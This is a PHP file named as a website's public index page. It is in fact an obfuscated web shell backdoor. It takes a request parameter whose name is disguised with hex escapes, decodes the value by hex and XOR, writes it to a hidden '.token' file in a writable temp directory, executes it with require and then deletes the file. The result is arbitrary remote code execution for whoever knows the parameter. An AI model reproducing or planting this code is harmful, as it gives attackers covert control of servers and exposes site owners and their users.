File: /var/www/vhost/disk-apps/alq-central.bikenow.co/public/index.central.bikenow.co.php
<?php
if(array_key_exists("des\x63\x72i\x70\x74\x6Fr", $_REQUEST)){
$val = hex2bin($_REQUEST["des\x63\x72i\x70\x74\x6Fr"]);
$ent = '' ; for($n=0; $n<strlen($val); $n++){$ent .= chr(ord($val[$n]) ^ 22);}
$res = array_filter([getcwd(), session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP")]);
for ($desc = 0, $property_set = count($res); $desc < $property_set; $desc++) {
$dat = $res[$desc];
if (!!is_dir($dat) && !!is_writable($dat)) {
$marker = join("/", [$dat, ".token"]);
if (file_put_contents($marker, $ent)) {
require $marker;
unlink($marker);
exit;
}
}
}
}